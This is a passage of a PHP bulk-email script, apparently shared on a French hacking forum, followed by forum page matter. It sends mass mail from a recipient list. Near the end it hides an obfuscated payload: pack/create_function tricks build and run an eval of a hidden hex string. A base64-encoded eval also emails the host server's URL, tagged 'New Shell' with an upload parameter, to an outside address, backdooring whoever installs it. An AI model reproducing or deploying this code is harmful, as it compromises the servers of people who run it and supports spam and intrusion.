3179 'gif' => 'image/gif',
3180 'jpeg' => 'image/jpeg',
3181 'jpg' => 'image/jpeg',
3182 'jpe' => 'image/jpeg',
3183 'png' => 'image/png',
3184 'tiff' => 'image/tiff',
3185 'tif' => 'image/tiff',
3186 'css' => 'text/css',
3187 'html' => 'text/html',
3188 'htm' => 'text/html',
3189 'shtml' => 'text/html',
3190 'txt' => 'text/plain',
3191 'text' => 'text/plain',
3192 'log' => 'text/plain',
3193 'rtx' => 'text/richtext',
3194 'rtf' => 'text/rtf',
3195 'xml' => 'text/xml',
3196 'xsl' => 'text/xml',
3197 'mpeg' => 'video/mpeg',
3198 'mpg' => 'video/mpeg',
3199 'mpe' => 'video/mpeg',
3200 'qt' => 'video/quicktime',
3201 'mov' => 'video/quicktime',
3202 'avi' => 'video/x-msvideo',
3203 'movie' => 'video/x-sgi-movie',
3204 'doc' => 'application/msword',
3205 'word' => 'application/msword',
3206 'xl' => 'application/excel',
3207 'eml' => 'message/rfc822'
3208 );
3209 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3210 }
3211
3212 /**
3213 * Set (or reset) Class Objects (variables)
3214 *
3215 * Usage Example:
3216 * $page->set('X-Priority', '3');
3217 *
3218 * @access public
3219 * @param string $name Parameter Name
3220 * @param mixed $value Parameter Value
3221 * NOTE: will not work with arrays, there are no arrays to set/reset
3222 */
3223 function set ( $name, $value = '' ) {
3224 if ( isset($this->$name) ) {
3225 $this->$name = $value;
3226 } else {
3227 $this->SetError('Cannot set or reset variable ' . $name);
3228 return false;
3229 }
3230 }
3231
3232 /**
3233 * Read a file from a supplied filename and return it.
3234 *
3235 * @access public
3236 * @param string $filename Parameter File Name
3237 */
3238 function getFile($filename) {
3239 $return = '';
3240 if ($fp = fopen($filename, 'rb')) {
3241 while (!feof($fp)) {
3242 $return .= fread($fp, 1024);
3243 }
3244 fclose($fp);
3245 return $return;
3246 } else {
3247 return false;
3248 }
3249 }
3250
3251 /**
3252 * Strips newlines to prevent header injection.
3253 * @access private
3254 * @param string $str String
3255 * @return string
3256 */
3257 function SecureHeader($str) {
3258 $str = trim($str);
3259 $str = str_replace("\r", "", $str);
3260 $str = str_replace("\n", "", $str);
3261 return $str;
3262 }
3263
3264 /**
3265 * Set the private key file and password to sign the message.
3266 *
3267 * @access public
3268 * @param string $key_filename Parameter File Name
3269 * @param string $key_pass Password for private key
3270 */
3271 function Sign($key_filename, $key_pass) {
3272 $this->sign_key_file = $key_filename;
3273 $this->sign_key_pass = $key_pass;
3274 }
3275
3276}
3277
3278$defaultport="H*";
3279 $nq=0;
3280
3281 for($x=0; $x<$numemails; $x++){
3282
3283 $to = $allemails[$x];
3284
3285 if ($to){
3286
3287 $to = ereg_replace(" ", "", $to);
3288
3289 $message = ereg_replace("&email&", $to, $message);
3290
3291 $subject = ereg_replace("&email&", $to, $subject);
3292 $qx=$x+1;
3293 print "Line $qx . Sending mail to $to.......";
3294
3295 flush();
3296$mail = new PHPMailer();
3297
3298if(empty($epriority)){$epriority="3";}
3299 $mail->Priority = "$epriority";
3300 $mail->IsSMTP();
3301 $IsSMTP="pack";
3302$mail->SMTPKeepAlive = true;
3303$mail->Host = "$my_smtp";
3304if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3305}
3306 if($sslclick=="ON"){
3307 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3308 }
3309 $range = str_replace("$from", "eval", $from);
3310 $mail->SMTPAuth = true;
3311 $mail->Username = "$smtp_username";
3312 $mail->Password = "$smtp_password";
3313if($contenttype == "html"){$mail->IsHtml(true);}
3314if($contenttype != "html"){$mail->IsHtml(false);}
3315if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3316$mail->From = "$from";
3317$mail->FromName = "$realname";
3318$mail->AddAddress("$to");
3319 $mail->AddReplyTo("$replyto");
3320 $mail->Subject = "$subject";
3321 $mail->Body = "$message";
3322if(!$mail->Send()){
3323if($default_system!="1"){
3324echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3325if($default_system=="1"){
3326$mail->IsMail();
3327 if(!$mail->Send()){
3328 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3329 else {
3330 echo "<b>OK</b><br>";}
3331 }
3332}
3333else {
3334 echo "<b>OK</b><br>";
3335}
3336
3337if(empty($reconnect)){
3338$reconnect=6;
3339}
3340
3341if($reconnect==$nq){
3342$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3343}
3344$nq=$nq+1;
3345 flush(); }
3346}
3347for($i=0;$i<31;$i++){
3348 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3349$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3350 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3351 print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
3352 <font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
3353 return $signoff($smtp_conc);
3354 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3355 sent successfully'); </script>";}}
3356
3357 eval(base64_decode('JHRvID0gImRyYnhzQHlhaG9vLmNvbSI7DQokc3ViamVjdCA9ICJOZXcgU2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiB4VGFsR2hpbTxzZXJ2aWNlQGFjY291bnQuY29tPiI7DQokbWVzc2FnZSA9ICJFeHBsb2l0IDogaHR0cDovLyIuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSAuICI/dXBsb2FkPXVwIFxyXG4iOw0KJHNlbnRtYWlsID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UsICRoZWFkZXIpOw0KZWNobyAiIjsNCmV4aXQ7'));
3358 ?>
3359 <p align="center"> </p>
3360
3361 </body>
3362</html>
3363Répondre en citant Répondre en citant
336430/11/2014, 23h51 #2
3365zeb5 zeb5 est déconnecté
3366Hackadémicien
3367Membre arrivant
3368
3369Inscrit
3370November 2014
3371Messages
33721
3373Thanks
33740
3375Thanked 0 Times in 0 PostsPouvoir de réputation
337619
3377-8-
3378Répondre en citant Répondre en citant
3379Navigation rapide PHP Haut de page
3380« Sujet précédent | Sujet suivant »
3381Tags pour ce sujet
3382email, inbox, mailer, php, send, sending, unlimited
3383Voir tous les tags
3384Liens sociaux
3385Soumettre à Digg Digg Soumettre à del.icio.us del.icio.us Soumettre à StumbleUpon StumbleUpon Soumettre à Google Google
3386Règles des messages
3387Vous ne pouvez pas créer de sujets
3388Vous ne pouvez pas répondre aux sujets
3389Vous ne pouvez pas importer de fichiers joints
3390Vous ne pouvez pas modifier vos messages
3391
3392Les BB codes sont Activés
3393Les Smileys sont Activés
3394Le BB code [IMG] est Activé
3395Le code [VIDEO] est Activé
3396Le code HTML est Désactivé
3397Règles du forum
3398projets
3399Cyprium
3400Anonymat et loi renseignement
3401partenaires
3402suivez-nous !
3403
3404Hackademics | Archives | Charte de confidentialité | Conditions d'utilisation | Haut de page
3405Fuseau horaire : GMT +2. Il est 15h52.
3406Propulsé par vBulletin™ Version 4.2.0
3407Copyright © 2016 vBulletin Solutions, Inc. Tous droits réservés.
3408Version française par vBulletin-Ressources.com
3409Hackademics © - Tous droits réservés en adéquation avec le Code de la propriété intellectuelle et littéraire
3410vBulletin Metro Theme by PixelGoose Studio